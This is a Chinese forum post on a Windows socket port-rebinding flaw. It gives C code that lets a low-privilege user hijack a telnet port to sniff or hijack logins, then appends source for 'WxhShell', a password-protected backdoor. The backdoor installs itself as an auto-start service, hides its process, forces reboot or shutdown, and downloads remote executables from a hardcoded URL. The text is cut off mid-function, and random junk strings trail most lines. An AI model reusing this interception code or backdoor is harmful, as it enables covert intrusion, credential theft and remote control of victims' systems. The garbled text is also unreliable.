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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: P2la/jN  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f793yCiG  
zh8\ _> +  
  saddr.sin_family = AF_INET; +9LIpU&5  
HK_Vk\e  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); = BcKWC  
[]^fb,5a  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <'WS -P%U  
=.T50~+M  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Nfv.v1Tt+  
@">^2  
  这意味着什么?意味着可以进行如下的攻击: UAleGR`,  
&CP]+ at  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 N_jpCCG~  
d$DNiJ ,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) jQ>~  
`"@Pr,L   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 l9Xz,H   
MTI[Mez  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  }eKY%WU>O  
TS2zzYE6Z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Xy(8}  
`Hlv*" w$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ZC7ZlL _  
$2!|e,x  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;t6)(d4z?  
:pz`bFJk  
  #include N{b ;kiZq  
  #include eKpWFP 0  
  #include i&K-|[3{g  
  #include    %=w@c  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $TU:iv1Fm  
  int main() Dx1f< A1  
  { =74yhPAW  
  WORD wVersionRequested; YCBp ]xuE  
  DWORD ret; {3)^$F=T  
  WSADATA wsaData; LIah'6qR  
  BOOL val; ;@5N  
  SOCKADDR_IN saddr; XC*!=h*  
  SOCKADDR_IN scaddr; _8QHx;}  
  int err; <GdQ""X  
  SOCKET s; 4hl`~&yDf  
  SOCKET sc; z4!Y9  
  int caddsize; ~)fd+~4L  
  HANDLE mt; |.]g&m)y^h  
  DWORD tid;   &];:uYmMU  
  wVersionRequested = MAKEWORD( 2, 2 ); \d :AV(u  
  err = WSAStartup( wVersionRequested, &wsaData ); 5xb1FH d:  
  if ( err != 0 ) { PxAUsY  
  printf("error!WSAStartup failed!\n"); 6gy;Xg  
  return -1; K U;d[Z@g  
  } s?j||  
  saddr.sin_family = AF_INET; K>a@AXC  
   bM@8[&t a  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 g$?kL  
wC&+nS1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); w?JRY  
  saddr.sin_port = htons(23); xZE%Gf_U  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Xi  8rD"v  
  { ;rvZ!/  
  printf("error!socket failed!\n"); (Zi,~Wqm$  
  return -1; U"T>L  
  } s[dq-pc "  
  val = TRUE; i3dV2^O  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 cXDG(.!n7B  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]y kMh  
  { =w,cdU*  
  printf("error!setsockopt failed!\n"); ^X\{MW'>4  
  return -1; 1b` `y  
  } 'uBagd>*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5Sh.4A\  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 m[w 8|[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 GZx?vSoHh  
h\<;N*Xi  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) IKs2.sj"o  
  { -dO9y=?t  
  ret=GetLastError(); .9uw@ Eq  
  printf("error!bind failed!\n"); x2M{=MExE.  
  return -1; >Y)FoHa+/  
  } &al\8  
  listen(s,2); SbYs a  
  while(1) zNh$d;(O$^  
  { .dw;b~p  
  caddsize = sizeof(scaddr); :k&5Z`>)  
  //接受连接请求 _GtG8ebr  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1)N~0)dO  
  if(sc!=INVALID_SOCKET) p=jIDM'  
  { $ T2 n^yz  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `21$e  
  if(mt==NULL) G5Z_[Q ~z  
  { y9::m]s  
  printf("Thread Creat Failed!\n"); +cf.In,{  
  break; <8sy*A?0z  
  } Su>UXuNdE#  
  } 7nl  
  CloseHandle(mt); ;=i$0w9W  
  } -egu5#d>  
  closesocket(s); VGL!)1b  
  WSACleanup(); l(A>Rw|  
  return 0; \f-HfYG  
  }   /9k}Ip  
  DWORD WINAPI ClientThread(LPVOID lpParam) _[p@V_my  
  { JANP_b:t  
  SOCKET ss = (SOCKET)lpParam; XJ*W7HD  
  SOCKET sc; :yS Q[AJ"  
  unsigned char buf[4096]; ^(.utO  
  SOCKADDR_IN saddr; #- z(]Y,y  
  long num; @'lO~i  
  DWORD val; no UXRQ  
  DWORD ret; 8 aC]" C  
  //如果是隐藏端口应用的话,可以在此处加一些判断 R2B0?fu  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ptCAtEO72  
  saddr.sin_family = AF_INET; ];7/DM#Np  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); wPRs.(]_  
  saddr.sin_port = htons(23); \CKf/:"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a";xG,U  
  { \+I+Lrj%  
  printf("error!socket failed!\n"); &h67LMD!  
  return -1; KOP*\\1 J  
  } Q%Y r m  
  val = 100; 67b[T~92o  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) kFZjMchm A  
  { $@}\T  
  ret = GetLastError(); ZnXq+^ Z4  
  return -1; jPyhn8Vw  
  } KX$Q`lM   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'X]m y  
  { 2I qvd  
  ret = GetLastError(); wJb"X=i*  
  return -1; {z0PB] U  
  } P;~P:qKd  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Ag@R60#  
  { S /)J<?<b  
  printf("error!socket connect failed!\n"); X!=*<GF)  
  closesocket(sc); +ug[TV   
  closesocket(ss); lV )SOs$  
  return -1; DNp4U9  
  } c:f++||  
  while(1) =F>nqklc  
  { GTBT0$9 g.  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 x}*Y =Xh  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 vo3[)BDbT  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -7\6j#;l  
  num = recv(ss,buf,4096,0); ypA)G/;  
  if(num>0) (g 9G!I   
  send(sc,buf,num,0); ckg8x&Z  
  else if(num==0) `ek On@T0  
  break; F?!  
  num = recv(sc,buf,4096,0); .|Bmg6g*  
  if(num>0) [ Cu3D  
  send(ss,buf,num,0); /{7we$+,p  
  else if(num==0) AYLCdCoK.  
  break;  l6uU S  
  } /*2sg>e'QF  
  closesocket(ss); @[] A&)B  
  closesocket(sc); cc|"^-j-7  
  return 0 ; Ze>Pg.k+  
  } 'RjMwJy{  
M~ ^ {S[o  
Df L>fk  
========================================================== AG==A&d>$  
},'Ij; %%Q  
下边附上一个代码,,WXhSHELL sxBRg=  
Hz] p]  
========================================================== h1uD>heGl  
c$w}h[  
#include "stdafx.h" q7'[II;  
0Fi&7%  
#include <stdio.h> D_MNF =7  
#include <string.h> O&c~7tM%  
#include <windows.h> $xsmF?Dsx5  
#include <winsock2.h> @N0(%o&  
#include <winsvc.h> {x8UL7{  
#include <urlmon.h> $}/Q%r  
g :Z, ab4  
#pragma comment (lib, "Ws2_32.lib") ]p.eFYDh7  
#pragma comment (lib, "urlmon.lib") T1}9^3T?{  
YvP u%=eF  
#define MAX_USER   100 // 最大客户端连接数 [ queXDn"m  
#define BUF_SOCK   200 // sock buffer wcI4Y0+J  
#define KEY_BUFF   255 // 输入 buffer WP-'gC6K=  
.Iret :  
#define REBOOT     0   // 重启 !agtgS$qII  
#define SHUTDOWN   1   // 关机 /\B[lRn  
gUq)M  
#define DEF_PORT   5000 // 监听端口 {=Ku9\  
x# &ZGFr~  
#define REG_LEN     16   // 注册表键长度 At#'q>Dn  
#define SVC_LEN     80   // NT服务名长度 V^^nJs tV  
`Wf)qMb  
// 从dll定义API Nu%JI6&R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |UO&18Y7-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h c9? z}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V,@Y,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 389puDjy  
yv!,iK9  
// wxhshell配置信息 =>7\s}QZ  
struct WSCFG { bC mhlSNi  
  int ws_port;         // 监听端口 VC6S4FU4K  
  char ws_passstr[REG_LEN]; // 口令 @$(/6]4p  
  int ws_autoins;       // 安装标记, 1=yes 0=no +yYv"J  
  char ws_regname[REG_LEN]; // 注册表键名 8'kA",P  
  char ws_svcname[REG_LEN]; // 服务名 B?xu!B,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 cP~?Iz8nD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m )2t<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &Z^,-Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {=NHidi~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,6%{9oW9Z:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gl4|D  
Q3vWwP;t~  
}; Qs*6wF  
M!s@w%0?'  
// default Wxhshell configuration \q8D7/q  
struct WSCFG wscfg={DEF_PORT,  :_qgpE<  
    "xuhuanlingzhe", >Tm|}\qEb  
    1, zJfoU*G/B  
    "Wxhshell", TZ7{cekQ  
    "Wxhshell",  t : =  
            "WxhShell Service", Bkn- OG  
    "Wrsky Windows CmdShell Service", S>]Jc$  
    "Please Input Your Password: ", wghz[qe  
  1, 3psCV=/z  
  "http://www.wrsky.com/wxhshell.exe", \c! LC4pE  
  "Wxhshell.exe" FH'jP`  
    }; \sIRV}Tk}N  
Cz\(.MWNZ  
// 消息定义模块 $UZ4,S?V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U?6YY` A8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gJVakR&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T1y,L<7?  
char *msg_ws_ext="\n\rExit."; J]f\=;z;<a  
char *msg_ws_end="\n\rQuit."; $o"PQ!z  
char *msg_ws_boot="\n\rReboot..."; vYD>m~Qc^  
char *msg_ws_poff="\n\rShutdown..."; {9<2{$Og  
char *msg_ws_down="\n\rSave to "; l.i"Z pik  
 ,T{(t@  
char *msg_ws_err="\n\rErr!";  pPm9v_G  
char *msg_ws_ok="\n\rOK!"; #_+T@|r  
|f^/((:D  
char ExeFile[MAX_PATH]; 27vLI~  
int nUser = 0; dQ8}mH!  
HANDLE handles[MAX_USER]; {.N" 6P  
int OsIsNt; H7e/6t<x  
fuQ|[tpvQG  
SERVICE_STATUS       serviceStatus; eo4<RDe<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gev7eGH<  
sX3Vr&r  
// 函数声明 j~G^J  
int Install(void); F6T@YSP  
int Uninstall(void); 4 []R?lL  
int DownloadFile(char *sURL, SOCKET wsh); HRx%m1H  
int Boot(int flag); BEM+FG  
void HideProc(void); 'nNw  
int GetOsVer(void); : 5@cj j  
int Wxhshell(SOCKET wsl); %>uGzQ61  
void TalkWithClient(void *cs); XbJ=lH  
int CmdShell(SOCKET sock); eBTy!!  
int StartFromService(void); ^c1I'9(r5  
int StartWxhshell(LPSTR lpCmdLine); C"/]X  
xXK7i\ny  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); HnVUG4yZTD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5FHpJlFK,  
$2F*p#l(<Z  
// 数据结构和表定义 :&dY1.<N+  
SERVICE_TABLE_ENTRY DispatchTable[] = j>M 'nQ,;d  
{ &b}!KD1  
{wscfg.ws_svcname, NTServiceMain}, |,]#vcJP#b  
{NULL, NULL} gU/\'~HG  
}; "w`f>]YLA  
>]=1~ sF  
// 自我安装 I0O)MR<  
int Install(void) Zg7~&vs$  
{ Z{/C4" F  
  char svExeFile[MAX_PATH]; `^s(r>2  
  HKEY key; P _t8=d  
  strcpy(svExeFile,ExeFile); o><~.T=d&  
_c%]RE  
// 如果是win9x系统,修改注册表设为自启动  UJoWTx  
if(!OsIsNt) { F5%-6@=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3vOI=ar=L~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {R[lsdH(X  
  RegCloseKey(key); 0-g,C=L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K+H?,I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r3w.$  
  RegCloseKey(key); T}P| uP  
  return 0; ,u( g#T  
    } N7Z&_$Bx  
  } [*?P2.bf  
} @l&5 |Cia  
else { 6.~(oepu  
*ZGQ`#1.X6  
// 如果是NT以上系统,安装为系统服务 x}1(okc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )xP]rOT  
if (schSCManager!=0) ~@z5Ld3xz  
{ @P"q`*  
  SC_HANDLE schService = CreateService E[LXZh  
  ( g i:;{  
  schSCManager, tF&%7(EU3  
  wscfg.ws_svcname, uGJeQ  
  wscfg.ws_svcdisp, ~SZ0Yu:X  
  SERVICE_ALL_ACCESS, n<lU;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q=gVxS  
  SERVICE_AUTO_START, 8ne'x!1 D  
  SERVICE_ERROR_NORMAL, _Ux>BJmP  
  svExeFile, Yq/|zTe{  
  NULL, QE!cf@~n"  
  NULL, s Xl7  
  NULL, ms ;RJT2O'  
  NULL, 3Du&KZ  
  NULL u!nt0hS  
  ); I_#)>%H  
  if (schService!=0) nH% /  
  { GWA_,/jS%  
  CloseServiceHandle(schService); Aid{PGDk  
  CloseServiceHandle(schSCManager); ,i*^fpF`F"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0,m*W?^31  
  strcat(svExeFile,wscfg.ws_svcname); yQ+#Tlji  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m98k /w_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); EE&~D~yHUL  
  RegCloseKey(key); yYdXAenQ  
  return 0; fgl"ox  
    } YQ37P?u@  
  } Rl3KE)<  
  CloseServiceHandle(schSCManager); V%y kHo  
} LAf!y"A#  
} [Bpgb57En  
r-Z'  
return 1; o,Ha-z]f  
} q.<q(r  
2HQ'iEu$  
// 自我卸载 0<v~J9i  
int Uninstall(void) l*'jqR')h^  
{ `?=AgGg  
  HKEY key; qg.[M*  
!h&hPY1  
if(!OsIsNt) { _vU,avw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oi"Bf7{  
  RegDeleteValue(key,wscfg.ws_regname); \~y>aYy  
  RegCloseKey(key); 1oX"}YY1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0yAvAx  
  RegDeleteValue(key,wscfg.ws_regname); Jz:d\M~j5  
  RegCloseKey(key); J4lE7aFDA~  
  return 0; W11_MTIU  
  } *A,=Y/  
} [(btpWxb^  
} kmov(V  
else { Q `E{Oo,  
%Si3t2W/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #0xvxg%{  
if (schSCManager!=0) %$]u6GKabi  
{ WJz   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \=yg@K?"AJ  
  if (schService!=0) SfL,_X]*  
  { fEQ<L!'  
  if(DeleteService(schService)!=0) { !0Q(x  
  CloseServiceHandle(schService); U}Xc@- \ ?  
  CloseServiceHandle(schSCManager); %WCpn<)  
  return 0; |UR.7rOV  
  } 8zVXQ!'  
  CloseServiceHandle(schService); &]vd7Q.t  
  } u3k+Xg:  
  CloseServiceHandle(schSCManager); N.-Ryj&9  
} T5-4Q  
} 8<.KWr  
5YC(gv3/  
return 1; _|tg#i|Om  
} ' {:(4>&  
`/+7@~[RU  
// 从指定url下载文件 j*xens$)  
int DownloadFile(char *sURL, SOCKET wsh) `fc*/D  
{ &Puu Xz<  
  HRESULT hr; fG,qax`:c  
char seps[]= "/"; Vs07d,@w>  
char *token; 8~2A"<{ub  
char *file; Y =` 3L  
char myURL[MAX_PATH]; Z6h.gaQ7 H  
char myFILE[MAX_PATH]; ~}ewna/2  
DMs|Q$XB  
strcpy(myURL,sURL); bQ .y,+  
  token=strtok(myURL,seps); 2_F`ILCML  
  while(token!=NULL) ,cC4d`  
  { F=P|vYL&&  
    file=token; OH)SdSBz  
  token=strtok(NULL,seps); *"e[au^8*b  
  } Zs{ `Yf^Q  
mLq?-&F  
GetCurrentDirectory(MAX_PATH,myFILE); (1jkZ^7  
strcat(myFILE, "\\"); O^:Pr8|{J  
strcat(myFILE, file); Y_)04dmr@[  
  send(wsh,myFILE,strlen(myFILE),0); 4G`YZZQ  
send(wsh,"...",3,0); s}?98?tYB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mZM5aTQ3  
  if(hr==S_OK)  g| r  
return 0;  dc5B#  
else R2~Rqlti  
return 1; BAKfs/N  
M6X f}>  
}  WHpbQQX  
#K)HuT  
// 系统电源模块 /5J! s="  
int Boot(int flag) R jAeN#,?  
{ dR=SW0Oa{  
  HANDLE hToken; ,2kWj7H%7  
  TOKEN_PRIVILEGES tkp; c"QH-sE  
*i$+i  
  if(OsIsNt) { Wq>j;\3b3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mU\$piei  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r%B5@+{so  
    tkp.PrivilegeCount = 1; uP* >-s'm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "?S#vUS+ 2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qrOTb9&y  
if(flag==REBOOT) { {'}Ofj   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O:Z|fDQ`  
  return 0; >2C;5ba  
} <N`rcKE%~P  
else { +zw<iB)J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =8J\;h  
  return 0; hQet?*diU  
} 0`qq"j[6a  
  } .#Sd|C]R7  
  else { gXfAz,  
if(flag==REBOOT) { `o*eLLk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A!^,QRkRN  
  return 0; YInW)My.h  
} twN(]w}Ps|  
else { CRqa[boU*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =o HJ_  
  return 0; };KmMpBn  
} S%T1na^x  
} 4a646jg)  
[%h^qJ  
return 1; }5S2v+zE  
} 4Fz^[L}[  
)O+9 v}2  
// win9x进程隐藏模块 5GRN1Aov<  
void HideProc(void) nC*/?y*9  
{ Ugs<WVp$  
@'U4-x  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -51L!x}1c  
  if ( hKernel != NULL ) }=L >u>cP  
  { uC}YKT>V7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B}!n6j`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~&q e"0  
    FreeLibrary(hKernel); I7Eg$J&  
  } M1g|m|H7  
'"KK|]vJ  
return; U{_O=S u  
} WW_X:N~~e\  
c,-< 4e  
// 获取操作系统版本 nh8h?&q|  
int GetOsVer(void) ]v#T'<Nl  
{ 6zI?K4o  
  OSVERSIONINFO winfo; 1ii.nt1 u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UHg^F4>4  
  GetVersionEx(&winfo); Ri3m438  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z?@07Y[|K  
  return 1; Q^ F-8  
  else ilHj%h*z  
  return 0; h FjW.~B  
} @Ab<I  
v>e4a/  
// 客户端句柄模块 +HcH]D;  
int Wxhshell(SOCKET wsl) );*GOLka  
{ D0-e,)G}V,  
  SOCKET wsh; IQ~()/;3d  
  struct sockaddr_in client; >/n/n{{  
  DWORD myID; w5|"cD#8A  
vTP_vsdeG  
  while(nUser<MAX_USER) )a6i8b3  
{ |On6?5((e  
  int nSize=sizeof(client); -`gC?yff:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  K A<  
  if(wsh==INVALID_SOCKET) return 1; H _2hr[  
<zUmcZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); TRiB|b]8Q#  
if(handles[nUser]==0) +GGj*sD  
  closesocket(wsh); \"*l:x-u  
else K~E]Fkw!;  
  nUser++; Ue\&  
  } 2V0R|YUt  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); - Z|1@s&  
fXqe7[  
  return 0; 61KJ( rSX3  
} }1>a71  
uu/M XID  
// 关闭 socket B\mdOTLQ  
void CloseIt(SOCKET wsh) p$=3&qR 6  
{ OGVhb>LO1  
closesocket(wsh); T]myhNk  
nUser--; o4J K$%  
ExitThread(0); %DN& K  
} zz9.OnZ~  
?|L)!LYx  
// 客户端请求句柄 .xD-eWw3R  
void TalkWithClient(void *cs) ;F:(5GBi  
{ '=ZE*nGC  
sM4wh_lO  
  SOCKET wsh=(SOCKET)cs; 9}\T?6?8pX  
  char pwd[SVC_LEN]; 6lhVwgy3A  
  char cmd[KEY_BUFF]; [DE8s[i-  
char chr[1]; +:t1PV;l  
int i,j; hb_Ia]b  
RWoiV10  
  while (nUser < MAX_USER) { vZKo&jU k  
V*AG0@& !  
if(wscfg.ws_passstr) { qB&*"gf  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a2i   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j4l7Tx  
  //ZeroMemory(pwd,KEY_BUFF); (I+-wki"e  
      i=0; IFE C_F>  
  while(i<SVC_LEN) { x;SrJVDN  
4*54"[9Hr#  
  // 设置超时 B|%;(bM2C  
  fd_set FdRead; IKU -  
  struct timeval TimeOut; dV5 $L e#y  
  FD_ZERO(&FdRead); rd"]$_P8O  
  FD_SET(wsh,&FdRead); -8o8l z  
  TimeOut.tv_sec=8; JE j+>  
  TimeOut.tv_usec=0; J+;.t&5R  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F3qi$3HM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +]__zm/^  
%d>Ktf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "au"\}   
  pwd=chr[0]; z XvWo6  
  if(chr[0]==0xd || chr[0]==0xa) { z[';HJ0O;  
  pwd=0; ZNUV Bi  
  break; 5P! ZJ3C  
  } m}XI?[!s  
  i++; XJlun l)(K  
    } Jd%#eD*k9  
V^0*S=N  
  // 如果是非法用户,关闭 socket $'&5gFr9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vxwctJ&  
} }:BF3cH> 0  
USbiI %   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 06ueE\@Sg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )~5`A*Ku  
$DMeUA\av  
while(1) { a"v D+r7Ol  
dFUsQ_]<  
  ZeroMemory(cmd,KEY_BUFF); IOJfv8  
FCI T+ 8K  
      // 自动支持客户端 telnet标准   n8iN/Y<%U  
  j=0; 1jV^\ x0  
  while(j<KEY_BUFF) { \nJr jH A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J0>Q+Y  
  cmd[j]=chr[0]; XGUF9arN  
  if(chr[0]==0xa || chr[0]==0xd) { j{HxX  
  cmd[j]=0; :&a|8Wi[W  
  break; LHa cHv  
  } A$oYw(m#  
  j++; +(<CE#bb[  
    } 9(iJ=ao (  
+zlaYHj  
  // 下载文件 W<x2~HW(  
  if(strstr(cmd,"http://")) { 6=&  wY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R=IeAuZR4k  
  if(DownloadFile(cmd,wsh)) ^C'k.pV n~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4Q]+tXes  
  else "_(o% \"7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kL&^/([9  
  } x3vz4m[  
  else { B!Qdf8We  
Bb1dH/8  
    switch(cmd[0]) { C[pAa8  
  }&!rIU  
  // 帮助 -_2= NA?t  
  case '?': { RuHJk\T+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a-YK*  
    break; dJ|]W|q<  
  } PGybX:L  
  // 安装 YsTfv1~z#  
  case 'i': { zX5p'8-  
    if(Install()) d8x$NW-s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O" z=+79q  
    else ;bZ)q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J|I|3h<T  
    break; ?d_Cy\G  
    } v5*SoUOF  
  // 卸载 1.';:/~(  
  case 'r': { ckTnb  
    if(Uninstall()) Bg#NB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VE GUhI/d  
    else OixQlAb{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ck[Z(=b$$:  
    break; 5%W3&F6 %  
    } <H 3}N!  
  // 显示 wxhshell 所在路径 :Ct} ||9/  
  case 'p': { ikY=}  
    char svExeFile[MAX_PATH]; a|fyo#L  
    strcpy(svExeFile,"\n\r"); ;`xu)08a  
      strcat(svExeFile,ExeFile); R{*p \;  
        send(wsh,svExeFile,strlen(svExeFile),0); lI D5mg3 1  
    break; [szwPNQ_  
    } sd=i!r)ya  
  // 重启 ."H5.'  
  case 'b': { hZ%Ie%~n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;/YSQt)rc>  
    if(Boot(REBOOT)) Cd (Ov5%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ya>cGaLq  
    else { 21;n0E  
    closesocket(wsh); $ D45X<  
    ExitThread(0); ;id  
    } a @TAUJ,  
    break; &QE* V  
    } VR_1cwKBM  
  // 关机 fygy#&}~  
  case 'd': { @c&)K^v8  
